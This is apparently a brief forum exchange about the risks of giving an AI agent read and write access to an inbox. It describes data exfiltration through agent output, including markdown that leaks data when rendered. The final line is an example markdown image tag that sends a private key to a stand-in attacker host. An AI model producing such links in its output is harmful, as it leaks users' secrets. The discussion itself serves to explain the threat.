You still have to trust your executive assistant. I would never give someone I don't trust the ability to read and write emails for me.
I don't see how it's possible to securely give an agent access to your inbox unless it has zero ability to exfiltrate (not sending mail, not making any external network requests). Even then, you need to be careful with artifacts generated by the agent because a markdown file could transmit data when rendered.
This is a new threat vector to me. Can you tell me more?
![](https://the-attacker.com/steal?private-key=abc123def